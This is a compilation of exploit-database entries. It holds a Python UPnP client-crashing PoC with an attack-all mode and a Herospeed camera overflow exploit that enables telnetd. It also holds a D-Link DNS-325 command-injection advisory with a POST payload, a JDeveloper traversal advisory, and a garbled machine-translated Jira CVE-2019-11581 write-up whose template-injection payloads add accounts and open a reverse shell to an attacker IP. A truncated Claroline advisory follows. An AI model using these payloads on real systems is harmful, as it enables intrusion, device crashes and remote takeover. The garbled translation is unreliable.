                self.handle_request(client_address, connection, HttpLikeMessage(''.join(chunks)))
            except Exception, e:
                logger.warning(repr(e))
            finally:
                # Clean up the connection
                connection.close()

    def send(self, client, connection, chunks):
        """

        :param client:
        :param chunks:
        :param connection:
        :return:
        """
        template = """HTTP/1.1 200 OK
Content-Type: text/html
"""
        ans = HttpLikeMessage(template)
        if len(chunks) == 1:
            length, data = chunks[0]
            ans.header["Content-Length"] = length or len(data)
            ans.body = data
        else:
            ans.header["Transfer-Encoding"] = "chunked"
            body = []
            for chunk in chunks:
                length, data = chunk
                body.append("%x%s%s%s" % (length or len(data), ans.linebrk, data, ans.linebrk))
            body.append("0")
            ans.body = ''.join(body)
            if SELECT_SCENARIO==SCENARIO_CRASH_LARGE_MEMCPY:
                ans.header["Content-Length"] = len(ans.body)
            elif SELECT_SCENARIO==SCENARIO_CRASH_1_BYTE_BUFFER:
                # memcpy 0x80000000+x bytes to a buffer of 1 byte size.
                ans.header["Content-Length"] = 1  # forces a realloc of 1 byte
            else:
                # realloc with 0x7fffffff, memcpy n=chunk_size:0x80000000+x - crashes if realloc fails
                ans.header["Content-Length"] = 0x7fffffff  # forces a realloc of x bytes

        connection.sendall(str(ans))
        logger.debug(str(ans))
        logger.warning("[----->] BOOM! payload delivered! - [to:%r] %r" % (client, ans))

    def handle_request(self, client, connection, msg):
        if False and "AddPortMapping" not in str(msg):
            chunks = [(None, "<>")]
        else:
            if SELECT_SCENARIO==SCENARIO_CRASH_LARGE_MEMCPY:
                chunks = [(None, "<xml>BOOM</xml>"), (0x80000000, "A" * 9000), (None, "bye")]
            elif SELECT_SCENARIO==SCENARIO_CRASH_1_BYTE_BUFFER:
                chunks = [(None, "<xml>BOOM</xml>"), (0x80000000 - 1 + 15, "A" * 9000), (None, "bye")]
            else:
                chunks = [(None, "<xml>BOOM</xml>"), (0x80000000-1+15, "A" * 9000), (None, "bye")]
        self.send(client, connection, chunks)


def main():
    #from optparse import OptionParser
    import argparse
    global SELECT_SCENARIO
    SELECT_SCENARIO = SCENARIO_CRASH_LARGE_MEMCPY  # crash with a large memcpy
    # SELECT_SCENARIO = SCENARIO_CRASH_REALLOC_NULLPTR  # crash with a memcpy to nullptr due to realloc error (miniupnpc v1.8)
    # SELECT_SCENARIO = SCENARIO_CRASH_1_BYTE_BUFFER

    logging.basicConfig(format='[%(filename)s - %(funcName)20s() ][%(levelname)8s] %(message)s',
                        loglevel=logging.DEBUG)
    logger.setLevel(logging.DEBUG)

    usage = """poc.py [options]

           example: poc.py --listen <your_local_ip>:65000 [--havoc | --target <ip> [<ip>..]]

        """
    #parser = OptionParser(usage=usage)
    parser = argparse.ArgumentParser(usage=usage)
    parser.add_argument("-q", "--quiet",
                      action="store_false", dest="verbose", default=True,
                      help="be quiet [default: False]")
    parser.add_argument("-l", "--listen", dest="listen",
                      help="local httpserver listen ip:port. Note: 0.0.0.0:<port> is not allowed. This ip is being used "
                           "in the SSDP response Location header.")
    parser.add_argument("-u", "--usn",
                      dest="usn", default="uuid:deadface-dead-dead-dead-cafebabed00d::upnp:rootdevice",
                      help="Unique Service Name. ")
    parser.add_argument("-t", "--target", dest="target",
                      default=[], nargs='*',
                      help="Specify a list of client-ips to attack. Use --havoc to attempt to crash all clients.")
    parser.add_argument("-z", "--havoc",
                      action="store_true", dest="havoc", default=False,
                      help="Attempt to attack all clients connecting to our http server. Use at your own risk.")

    options= parser.parse_args()
    if not options.verbose:
        logger.setLevel(logging.INFO)
    if not options.havoc and not options.target:
        parser.error("No target specified. Use --havoc to attack all devices or --target <ip> to attack specific ips.")

    if options.havoc:
        options.target = None
    if not options.listen :
        parser.error("missing mandatory option --listen <ip>:<port>")
    options.listen = options.listen.strip().split(":")
    options.listen = (options.listen[0], int(options.listen[1]))
    if "0.0.0.0" in options.listen[0]:
        parser.error("0.0.0.0 not allowed for --listen")

    logger.info("""


   _  _    _____ _____ _____ _____
  / |/ |  |  |  |  _  |   | |  _  |            ___ ___    _____ ___ ___ ___
 / // /   |  |  |   __| | | |   __|   _ _ _   |   | . |  |     | . |  _| -_|
|_/|_/    |_____|__|  |_|___|__|     |_|_|_|  |_|_|___|  |_|_|_|___|_| |___

                                                      //github.com/tintinweb


    [mode  ]      %s
    [listen]      %s (local http server listening ip)
    [usn   ]      %s
    """%("  havoc (targeting any incoming client)" if options.havoc else "   filter (targeting %r)"%options.target,
         "%s:%d"%options.listen,
         options.usn))

    webserver = BadHttpServer(options.listen, options.target)
    logger.debug("spawning webserver: %r" % webserver)
    webserver.start()

    def handle_msearch(upnp, msg, peer):
        # logger.info("MSEARCH! - %r" % msg)
        # build answer
        # template = """NOTIFY * HTTP/1.1
        template = """HTTP/1.1 200 OK
USN:  <overridden>
NTS:  ssdp:alive
SERVER:  <overridden>
HOST:  239.255.255.250:1900
LOCATION:  <overridden>
CACHE-CONTROL:  max-age=60
NT:  upnp:rootdevice"""
        ans = HttpLikeMessage(template)
        ans.header["USN"] = options.usn + msg.header["ST"]
        ans.header["SERVER"] = "UPnP Killer/%s" % __version__
        ans.header["LOCATION"] = "http://%s:%d/xxxx.xml" % webserver.bind
        ans.header["ST"] = msg.header["ST"]
        ans.header["EXT"] = ""

        logger.debug("[----->] sending answer: %s" % repr(ans))
        # upnp.sock.sendto(str(ans), (upnp.group, upnp.port))
        upnp.sock.sendto(str(ans), peer)

    def handle_notify(upnp, msg, peer):
        # logger.info("NOTIFY! %r" % msg)
        pass

    upnp = UPnPListener()
    upnp.register_callback("M-SEARCH", handle_msearch)
    upnp.register_callback("NOTIFY", handle_notify)
    upnp.listen()
    logger.info("--end--")


if __name__ == "__main__":
    main()
            
#!/usr/bin/env python2.7
#
# Herospeed TelnetSwitch daemon running on TCP/787, for allowing enable of the telnetd.
# Where one small stack overflow allows us to overwrite the dynamicly generated password and enable telnetd.
#
# [Verified]
# 1) Fullhan IPC FH8830_F22_W_7.1.42.1
# 2) Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
# 3) HiSilicon 3518EV200_OV9732_W_7.1.25.1, 3519V100_IMX274_W_7.1.39.3
# 4) Ambarella s2l55m_imx123_W_7.1.25.2, S2E66_IMX178_W_7.1.3.4
#
# Author: bashis <mcw noemail eu>, 2018
#
import socket
import select
import sys
import argparse
import base64
import struct
import time
#
# Validate correctness of HOST, IP and PORT
#
class Validate:

	def __init__(self,verbose):
		self.verbose = verbose

	# Check if IP is valid
	def CheckIP(self,IP):
		self.IP = IP

		ip = self.IP.split('.')
		if len(ip) != 4:
			return False
		for tmp in ip:
			if not tmp.isdigit():
				return False
			i = int(tmp)
			if i < 0 or i > 255:
				return False
		return True

	# Check if PORT is valid
	def Port(self,PORT):
		self.PORT = PORT

		if int(self.PORT) < 1 or int(self.PORT) > 65535:
			return False
		else:
			return True

	# Check if HOST is valid
	def Host(self,HOST):
		self.HOST = HOST

		try:
			# Check valid IP
			socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP
			# Now we check if it is correct typed IP
			if self.CheckIP(self.HOST):
				return self.HOST
			else:
				return False
		except socket.error as e:
			# Else check valid DNS name, and use the IP address
			try:
				self.HOST = socket.gethostbyname(self.HOST)
				return self.HOST
			except socket.error as e:
				return False


if __name__ == "__main__":

	INFO =  '\n[Herospeed TelnetSwitch pwn (2018 bashis <mcw noemail eu>)]\n'
	rhost = '192.168.57.20'	# Default Remote HOST
	rport = 787			# Default Remote PORT
	BUFFER_SIZE = 1024

	try:
		arg_parser = argparse.ArgumentParser(
		prog=sys.argv[0],
				description=('[*] '+ INFO +' [*]'))
		arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
		arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ str(rport) +']')
		args = arg_parser.parse_args()
	except Exception as e:
		print INFO,"\nError: {}\n".format(str(e))
		sys.exit(1)

	print INFO
	if args.rport:
		rport = int(args.rport)

	if args.rhost:
		rhost = args.rhost
		IP = args.rhost

	# Check if RPORT is valid
	if not Validate(True).Port(rport):
		print "[!] Invalid RPORT - Choose between 1 and 65535"
		sys.exit(1)

	# Check if RHOST is valid IP or FQDN, get IP back
	rhost = Validate(True).Host(rhost)
	if not rhost:
		print "[!] Invalid RHOST"
		sys.exit(1)

	timeout = 5
	socket.setdefaulttimeout(timeout)

	#
	# [Payload]
	#

	LOGIN = "Lucky787"		# Hardcoded login
	#
	# Fullhan IPC FH8830_F22_W_7.1.42.1
	# Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
	#
	PASSWD = "\n\n\n\n\n\n\n\n\n\n\n\n"	# Our new password, must be exactly 12 char, and must be '\n'
	MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
	BASE64_NULL = "A" * 232 # Decoded as 0x00 with base64 decode
	HEAP_PWD = 0x00016c8c # Start of the dynamicly generated password, located on heap

	#
	# HiSilicon 3518EV200_OV9732_W_7.1.25.1
	#
#	PASSWD = "AAAAAAAAAAAA"	# Our new password, must be exactly 12 char, and must be 'A'
#	MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#	BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
#	HEAP_PWD = 0x00016990 # Start of the dynamicly generated password, located on heap

	#
	# HiSilicon 3519V100_IMX274_W_7.1.39.3
	#
#	PASSWD = "AAAAAAAAAAAA"	# Our new password, must be exactly 12 char, and must be 'A'
#	MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#	BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
#	HEAP_PWD = 0x000267b0 # Start of the dynamicly generated password, located on heap

	#
	# Ambarella s2l55m_imx123_W_7.1.25.2
	#
#	PASSWD = "AAAAAAAAAAAA"	# Our new password, must be exactly 12 char, and must be 'A'
#	MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#	BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
#	HEAP_PWD = 0x00014c3c # Start of the dynamicly generated password, located on heap

	#
	# Ambarella S2E66_IMX178_W_7.1.3.4
	#
#	PASSWD = "AAAAAAAAAAAA"	# Our new password, must be exactly 12 char, and must be 'A'
#	MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#	BASE64_NULL = "A" * 108 # Decoded as 0x00 with base64 decode
#	HEAP_PWD = 0x00014c68 # Start of the dynamicly generated password, located on heap

	MESSAGE = base64.b64encode(bytes(MESSAGE))
	MESSAGE += BASE64_NULL

	#
	# Since the stack overflow writing with only one byte, we need overwrite the password one char at the time (looping twelve times)
	#
	for where in range(0, len(PASSWD)):
		OUT = "GET / HTTP/1.0\nAuthorization: Basic {}{}\n\n".format(MESSAGE,struct.pack('<L',HEAP_PWD)[:3])
		print "Writing to: {}".format(hex(HEAP_PWD))
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((rhost, rport))
		s.send(OUT)
		time.sleep(0.5)
		response = s.recv(BUFFER_SIZE).split()
		HEAP_PWD += 0x1 # Next address on heap

		if response[1]:
			if response[1] == "200":
				print "({}) OK, telnetd should be open!".format(response[1])
				break
            
D-Link DNS-325 ShareCenter Multiple Vulnerabilities

Vendor: D-Link
Product: D-Link DNS-325 ShareCenter
Version: <= 1.05B03
Website: http://sharecenter.dlink.com/products/DNS-325


###########################################################################
                     ______      ____________          __  
                    / ____/_  __/ / __/_  __/__  _____/ /_ 
                   / / __/ / / / / /_  / / / _ \/ ___/ __ \
                  / /_/ / /_/ / / __/ / / /  __/ /__/ / / /         
                  \____/\__,_/_/_/   /_/  \___/\___/_/ /_/ 
                                                                
                     GulfTech Research and Development                                                                 

###########################################################################
#     D-Link DNS-325 ShareCenter <= 1.05B03  Multiple Vulnerabilities     #
###########################################################################
 

Released Date: 2017-01-15
Last Modified: 2017-06-22
 Company Info: D-Link
 Version Info: 
              Vulnerable
               D-Link DNS-325 ShareCenter <= 1.05B03
 

--[ Table of contents

00 - Introduction
    00.1 Background

01 - Unrestricted File Upload
    01.1 - Vulnerable code analysis
    01.2 - Remote exploitation

02 - Command Injection
    02.1 - Vulnerable code analysis
    02.2 - Remote exploitation

03 - Credit

04 - Proof of concept

05 - Solution

06 - Contact information


--[ 00 - Introduction

The purpose of this article is to detail the research that I have recently 
completed regarding the D-Link DNS 325 ShareCenter.

--[ 00.1 - Background

D-Link Share Center DNS-325 2-Bay Network Storage Enclosure is an easy to 
use solution for accessing, sharing and backing up your important data.


--[ 01 - Unrestricted file upload

The DNS-325 is vulnerable to the same file upload issue as the DNS-320L. 
The vulnerable code can be found within the following file:

/usr/local/modules/web/pages/jquery/uploader/multi_uploadify.php

The root of the problem here is due to the misuse and misunderstanding of
the PHP gethostbyaddr() function used within PHP, by the developer of this 
particular piece of code. From the PHP manual this functions return values 
are defined as the following for gethostbyaddr():

"Returns the host name on success, the unmodified ip_address on failure, or 
FALSE on malformed input."

With a brief overview of the problem, let's have a look 
at the offending code in order to get a better understanding of what is 
going on with this particular vulnerability.

--[ 01.1 - Vulnerable code analysis

Below is the code from the vulnerable "multi_uploadify.php" script. You can
see that we have annoted the code to explain what is happening.

#BUG 01: Here the attacker controlled "Host" header is used to define the 
remote auth server. This is by itself really bad, as an attacker could
easily just specify that the host be the IP address of a server that they
are in control of. But, if we send it an invalid "Host" header it will just
simply return FALSE as defined in the PHP manual.

$ip = gethostbyaddr($_SERVER['HTTP_HOST']);
$name = $_REQUEST['name'];
$pwd = $_REQUEST['pwd'];
$redirect_uri =  $_REQUEST['redirect_uri']; 

//echo $name ."
".$pwd."
".$ip;

#BUG 02: At this point, this request should always fail. The $result
variable should now be set to FALSE.

$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?
cmd=1&name=".$name."=&pwd=".$pwd ),"" ));

#BUG 03: Here an empty haystack is searched, and thus strstr() returns a
value of FALSE.

$result_1 = strstr($result,"0");
$result_1 = substr ($result_1, 0,28);  

#BUG 04: The strncmp() call here is a strange one. It looks for a specific
login failure. So, it never accounts for when things go wrong or slightly
unexpected. As a result this "if" statement will always be skipped.

if (strncmp ($result_1,"0",28) == 0 )
//if (strstr($result,"0")== 0 )
{
    header("HTTP/1.1 302 Found");
  header("Location: ".$redirect_uri."?status=0");
  exit();   
}

#BUG 05: At this point all checks have been passed, and an attacker can use
this issue to upload any file to the server that they want.

The rest of the source code was omitted for the sake of breivity, but it 
just handles the file upload logic once the user passes the authentication
checks.

--[ 01.2 - Remote exploitation

Exploiting this issue to gain a remote shell as root is a rather trivial
process. All an attacker has to do is send a post request that contains a 
file to upload using the parameter "Filedata[0]", a location for the file 
to be upload to which is specified within the "folder" parameter, and of 
course a bogus "Host" header.

We have written a Metasploit module to exploit this issue. The module will
use this vulnerability to upload a PHP webshell to the "/var/www/"
directory. Once uploaded, the webshell can be executed by requesting a URI
pointing to the backdoor, and thus triggering the payload.


--[ 02 - Command Injection

There are a number of issues with the CGI's contained within the DNS-325
file structure. The issues that we came across over and over were lack of
authentication, as well as command injection. We will examine one of these
issues, and leave the others as an excercise to the reader.


--[ 02.1 - Vulnerable code analysis

The CGI binary named "photocenter_mgr.cgi" is vulnerable to a very straight 
forward command injection issue when calling the "cgi_set_airplay_device"
function.

size_t cgi_set_airplay_device()
{
  int v0; // r4@3
  size_t v1; // r0@3
  const char *v2; // r0@3
  FILE *v3; // r5@5
  char *v4; // r0@6
  int v5; // r4@7
  signed int v6; // r6@7
  size_t result; // r0@13
  FILE *v8; // r4@11
  int v9; // [sp+10h] [bp-C84h]@1
  int v10; // [sp+410h] [bp-884h]@1
  int v11; // [sp+610h] [bp-684h]@1
  int v12; // [sp+810h] [bp-484h]@1
  char s; // [sp+A10h] [bp-284h]@1
  char v14; // [sp+B10h] [bp-184h]@1
  char v15; // [sp+B50h] [bp-144h]@1
  char v16; // [sp+B90h] [bp-104h]@1
  signed int v17; // [sp+B94h] [bp-100h]@2
  signed int v18; // [sp+B98h] [bp-FCh]@2
  signed int v19; // [sp+B9Ch] [bp-F8h]@2
  int v20; // [sp+BA0h] [bp-F4h]@2
  __int16 v21; // [sp+BA4h] [bp-F0h]@15
  char v22; // [sp+BA6h] [bp-EEh]@15
  char v23; // [sp+BD0h] [bp-C4h]@1
  char v24; // [sp+C10h] [bp-84h]@1
  int v25; // [sp+C50h] [bp-44h]@1
  int v26; // [sp+C54h] [bp-40h]@1
  char dest[4]; // [sp+C58h] [bp-3Ch]@1
  int v28; // [sp+C5Ch] [bp-38h]@1
  int v29; // [sp+C60h] [bp-34h]@1
  int *v30; // [sp+C64h] [bp-30h]@1

  memset(&s, 0, 0x100u);
  memset(&v12, 0, 0x200u);
  memset(&v24, 0, 0x40u);
  memset(&v23, 0, 0x40u);
  memset(&v11, 0, 0x200u);
  v30 = 0;
  memset(&v9, 0, 0x400u);
  *(_DWORD *)dest = 0;
  v28 = 0;
  memset(&v10, 0, 0x200u);
  v25 = 0;
  v26 = 0;
  memset(&v16, 0, 0x40u);
  memset(&v15, 0, 0x40u);
  memset(&v14, 0, 0x40u);
  cgiFormString("dev_name", &s, 256);
  cgiFormString("dev_type", &v24, 64);
  cgiFormString("dev_pw", &v23, 64);
  cgiFormString("type", &v25, 8);
  v30 = &v12;
  v29 = 512;
  printf_out("dev_name=[%s]\n", &s);
  printf_out("dev_type=[%s]\n", &v24);
  printf_out("dev_pw=[%s]\n", &v23);
  printf_out("type=[%s]\n", &v25);
  if ( !strcmp((const char *)&v25, "photo") )
  {
    LOBYTE(v20) = 0;
    *(_DWORD *)&v16 = 1886221359;
    v17 = 1919508783;
    v18 = 2036427888;
    v19 = 1819113518;
  }
  else
  {
    *(_DWORD *)&v16 = 1886221359;
    v17 = 'ria/';
    v18 = 2036427888;
    v19 = 1685414239;
    v20 = 2016309097;
    v22 = 0;
    v21 = 'lm';
  }
  v0 = 0;
  sprintf((char *)&v11, "rm -f %s", &v16);
  system((const char *)&v11);
  v1 = strlen(&s);
  v2 = (const char *)escape_label(&s, v1, &v30, &v29);
  cgi_api_SpecSymbol2BackSlash((char *)&v9, v2);
  sprintf((char *)&v11, "airplayer -c connect -d \"%s\" -t \"%s\" %s >/dev/
  null", &v9, &v24, &v23);
  printf_out("[%s]\n", &v11);
  system((const char *)&v11);
  printf_out("filename[%s]\n", &v16);
  while ( 1 )
  {
    ++v0;
    v3 = (FILE *)fopen64(&v16, "r");
    if ( v3 )
      break;
    printf_out("wait[%d]\n");
    sleep(1u);
    if ( v0 == 30 )
    {
      v6 = (signed int)v3;
      goto LABEL_9;
    }
  }
  fgets(&v15, 512, v3);
  fgets(&v15, 512, v3);
  fgets(&v15, 512, v3);
  fgets(&v14, 512, v3);
  v4 = index(&v14, 62);
  if ( v4 )
  {
    v5 = (int)(v4 + 1);
    v6 = 1;
    *index(v4 + 1, 60) = 0;
    strcpy(dest, v4 + 1);
    printf_out("res[%s]\n", v5);
  }
  else
  {
    v6 = 0;
  }
  fclose(v3);
LABEL_9:
  sprintf(&v16, "/var/www/xml/airplay_info_%s.xml", &v25);
  if ( dest[0] == 48 && !dest[1] )
  {
    v8 = (FILE *)fopen64(&v16, "w+");
    fwrite("", 1u, 0x26u, v8);
    sprintf(
      (char *)&v10,
      "%s",
      &s,
      &v24,
      &v23);
    fputs((const char *)&v10, v8);
    fclose(v8);
  }
  cgiHeaderContentType("text/xml");
  fwrite("", 1u, 0x26u, (FILE *)
  cgiOut);
  if ( v6 == 1 )
  {
    result = fprintf((FILE *)cgiOut, "%s", 
    dest);
  }
  else
  {
    system("kill `pidof airplay_daemon`");
    result = fwrite("timeout", 1u, 0x25u, 
    (FILE *)cgiOut);
  }
  return result;
}

As we can see in the above psuedo code parameters taken from form input are
use directly within a system call without being sanitized. This can be 
leveraged by an attacker to execute arbitrary commands as root. 
Authentication is not required to exploit this issue.

--[ 02.2 - Remote exploitation

Exploiting this issue is trivial. Authentication is not required to 
successfully exploit this issue and gain a remote root shell.


POST /cgi-bin/photocenter_mgr.cgi HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

cmd=cgi_set_airplay_device&dev_type=1";touch /tmp/gulftech;"


Simply sending a post request like the one above will successfully create a
file named "gulftech" in the /tmp directory as root.

--[ 03 - Credit

James Bercegay
GulfTech Research and Development


--[ 04 - Proof of concept

We strive to do our part to contribute to the security community.
Metasploit modules for issues outlined in this paper can be found online.


--[ 05 - Solution

D-Link were notified of these issues June of last year. No update has been
released publicly.


--[ 06 - Contact information

Web
https://gulftech.org/

Mail
security@gulftech.org


Copyright 2018 GulfTech Research and Development. All rights reserved.
            
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/ORACLE-JDEVELOPER-DIRECTORY-TRAVERSAL.txt
[+] ISR: apparition security           
 

Vendor:
=============
www.oracle.com


Product:
===========
JDeveloper IDE

Oracle JDeveloper is a free integrated development environment that simplifies the development of Java-based
applications addressing every step of the application lifecycle.



Vulnerability Type:
===================
Directory Traversal



CVE Reference:
==============
CVE-2017-10273



Security Issue:
================
Attackers can place malicious files outside intended target directories if tricked into importing corrupt .WAR or .EAR archives.
Later, attackers can potentially request these scripts/files to execute system commands on affected target.


Affected versions:
11.1.1.7.0, 11.1.1.7.1, 11.1.1.9.0, 11.1.2.4.0, 12.1.3.0.0, 12.2.1.2.0


References:
============
http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html



Exploit/POC:
=============
1) create evil .WAR or .EAR archive containing ../ in path name to initiate directory traversal and inside a script to execute system commands.
2) import into JDeveloper
3) files get moved outside target directories to one of the attackers choosing.
4) attacker requests the malicious file contained in target directory.

BAM!


Network Access:
===============
Local



Severity:
=========
Low



Disclosure Timeline:
=============================
Vendor Notification: October 14, 2016
Vendor fixes as part of CPU January 16, 2018
January 17, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            

0x00脆弱性の説明

Atlassian Jiraは、Atlassian Australiaの欠陥追跡管理システムです。このシステムは、主に仕事のさまざまな問題や欠陥を追跡および管理するために使用されます。

Atlassian Jira ServerとJira Data Centerには、サーバー側のテンプレートインジェクションの脆弱性があります。この脆弱性をうまく活用する攻撃者は、JIRAサーバーまたはJIRAデータセンターの影響を受けたバージョンを実行しているサーバー上で任意のコマンドを実行し、サーバーの権限を取得し、ネットワーク資産を真剣に危険にさらすことができます。

0x01 CVE番号

CVE-2019-11581

0x02脆弱性ハザードレベル

高リスク

0x03脆弱性衝撃範囲

Atlassianjira 4.4.xatlassianjira 5.x.xatlassianjira 6.x.xatlassianjira 7.0.x

Atlassianjira 7.1.x

Atlassianjira 7.2.xatlassianjira 7.3.xatlassianjira 7.4.xatlassianjira 7.5.5.xatlassianjira 7.6.x 7.6.14.x 7.6.14.xatlassianjira 7.8.xatlassianjira 7.9.xatlassianjira 7.10.xatlasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslasslass 7.11.xatlassianjira 7.12.xatlassianjira 7.13.x 7.13.5atlassianjira 8.0.x 8.0.3atlassianjira 8.1.x 8.1.2atlassianjira 8.2.x 8.2.33

0x04脆弱性分析

1。使用率の前提条件:最初のタイプは不正なコード実行の使用率です:JiraはSMTPサーバーを構成し、「連絡先Webサイト管理者フォーム」機能を有効にする必要があります。 (実際、Webインターフェイス設計から、SMTPサーバーが構成されていない場合、この機能を有効にすることはできません

2番目の利用シナリオは、JIRA管理者の許可を取得することであり、利用条件を満たすのは困難です。ここでは、主に最初の状況を分析します。その理由は、Atlassian-Jira/web-inf/classs/com/aTlassian/jira/coms/action/contactAdministratorsが被験者(メールの件名)をフィルタリングしないため、ユーザーによる受信電子メール被験者はテンプレート(テンプレート)の指示として実行されます。どちらの場合でも、この脆弱性をうまく活用する攻撃者は、JIRAサーバーまたはJIRAデータセンターの影響を受けたバージョンを実行しているシステム上の任意のコマンドを実行できます。

2。URLの脆弱性の脆弱性を検証する次の2つの方法:最初のタイプは管理者アカウント許可を必要としません:http://10.206.1.8:8080/Secure/ContactAdministrators!default.jspa

xfunq33zup17902.png

2番目のタイプには、管理者アカウント許可が必要です:http://10.206.1.8:8080/secure/admin/sendbulkmail!default.jspa

ri522toabmf7903.png

次の実行バージョン番号が発生した場合、脆弱性があります。

0x05脆弱性の再発

1。脆弱性の条件については、管理者部門に連絡してください(バックエンド管理者アカウントとパスワードを知る必要があります)

2。環境の準備:Atlassian Jirav7.13.0(このバージョンを例にとると、このバージョンには脆弱性があります)ダウンロードアドレス:

https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe

インストールプロセスは説明されなくなりました(プロンプトによると、最初にアカウントを公式に登録してから、試用シリアル番号を取得してインストールします)。電子メールの構成ステップが選択された後(デフォルトは)、バックグラウンド構成を入力することに注意してください。

3.ログインしていないときに脆弱性が存在することを確認するには、次のURLにアクセスします(管理者アカウントの許可は不要です)。

http://10.206.1.83:8080/secure/contactAdministrators!default.jspa

プロンプトが次の場合、これは脆弱性を構成なしでトリガーできないことを意味します。

devpcvn03jq7904.pngバックグラウンドにログインして、管理者に連絡してください。構成アドレスは次のとおりです。

http://10.10.20.116:8080/secure/admin/editapplicationproperties!default.jspa

デフォルトはオフです。メッセージをオンにする前に、メッセージを送信するようにSTMPを構成する必要があります。 STMPが構成されている場合、接続をテストできます。サーバーはポート25を開く必要があります。そうしないと、メールを送信できません。次の図は、それが正常に有効になっていることを示しています。

arl1mzk4q5q7905.png4。脆弱性アクセスは、ログインが進行中でないときにトリガーされます

http://10.206.1.83:8080/secure/contactAdministrators!default.jspa

ktqjuqeorvs7909.png被験者のペイロードを入力します。ここの環境はWindowsマシンであるため、アカウントを追加して観察できることに注意してください。 Linuxは、リバウンドシェルなどのコードを使用できます。とにかく、実行するコマンドに置き換えられます。

$ i18n.getclass()。forname( 'java.lang.runtime')。getMethod( 'getruntime'、null).invoke(null、null).exec( 'net user bk abc@abc123 /add')。

irj0c44pg1v7915.pngは、電子メールキューに参加したいので、送信後しばらく待つことができます。この時点で、サーバーに移動してネットユーザーを実行して確認し、コマンドを実行して追加したアカウントであることがわかります。

51ofpd3cq1i7920.png

5.管理者アカウントにログインし、脆弱性をトリガーします。管理者アカウントにログインしてから、次のURLにアクセスします。

http://10.206.1.83:8080/secure/admin/sendbulkmail!default.jspa

ペイロードを入力して、次のように、コマンドを実行してアカウント名を追加してください

$ i18n.getClass()。forName( 'java.lang.runtime')。getMethod( 'getRuntime'、null).invoke(null、null).exec( 'net user bk01 abc@abc123 /add')。

2gkejadvakp7922.png

j1tcufxhyga7923.png

Linuxの下で実行可能:

ターゲットJIRAシステム実行可能性POC

$ i18n.getclass()。forname( 'java.lang.runtime')。getMethod( 'getruntime'、null).invoke(null、null).exec( 'curl http://www.baidu.com')。

$ i18n.getClass()。forName( 'java.lang.runtime')。getMethod( 'getruntime'、null).invoke(null、null).exec( 'bash -i/dev/tcp/攻撃者IP/2333 01')。

攻撃者ホストは:NC -LVVP 2333を実行します

0x06脆弱性修正

1。一時的な処分の提案JIRAを時間内にアップグレードできない場合、次の緩和策を講じることができます。

1. http://IP:port/secure/contactAdministratorsへのアクセスを無効にします!default.jspa

2。連絡先のウェブサイト管理者フォーム関数をオフにすると、特定の手順は次のように:です

設定=system=edit settings=[管理者]フォームに連絡して[オフ]を選択し、下部に[更新]をクリックして設定を保存します。

t41k3vox4rd7924.pngEDIT設定

qnjkpltke3l7925.png連絡先Webサイト管理者フォーム機能を閉じます

2。処分の提案1。脆弱性の影響を受けないバージョンにアップグレードします。

2。http://IP:port/secure/admin/sendbulkmail!default.jspaのソースIPへのアクセスを制限します

0x07参照

https://MP.WEIXIN.QQ.COM/S/D2YVSYRZXPZRPCAKMQARSW

https://mp.weixin.qqq.com/s/_tsq9p1pqyszjt2vaxd61a

https://paper.seebug.org/982/

https://www.jiansshu.com/p/ddf1233d333f

https://github.com/jas502n/cve-2019-11581

https://www.jiansshu.com/p/ddf1233d333f

http://byximcx.cn/post-158.html

Claroline Arbitrary File Inclusion

Vendor: Claroline
Product: Claroline
Version: <= 1.7.7
Website: http://www.claroline.net/

BID: 20056 
CVE: CVE-2006-4844 
OSVDB: 28827 
SECUNIA: 21931 

Description:
Claroline is a popular online Open Source e-Learning application used to allow teachers or education organizations to create and administrate courses through the web. Claroline is also used as the framework for other e-Learning applications such as Dokeos. Unfortunately Claroline is vulnerable to a file inclusion issue when register globals is on which may allow for an attacker to read or execute arbitrary files. Some frameworks that use Claroline (such as Dokeos) are also vulnerable to the issues mentioned here. An updated version of Claroline has been released and users should upgrade immediately and disable register_globals if possible. 


Arbitrary File Inclusion:
Claroline is vulnerable to an arbitray file inclusion issue that may allow for remote code execution. The vulnerability is due to an uninitialized array being used to include files. The vulnerable code in claro_init_local.inc.php can be seen below 
if (isset($extAuthSource) && is_array($extAuthSource))
{
    foreach($extAuthSource as $thisAuthSource)
    {
        $_uid = include_once($thisAuthSource['newUser']);

        if ( $_uid > 0 )
        {
            $uidReset             = true;
            $claro_loginSucceeded = true;
            break;
        }
        else
        {
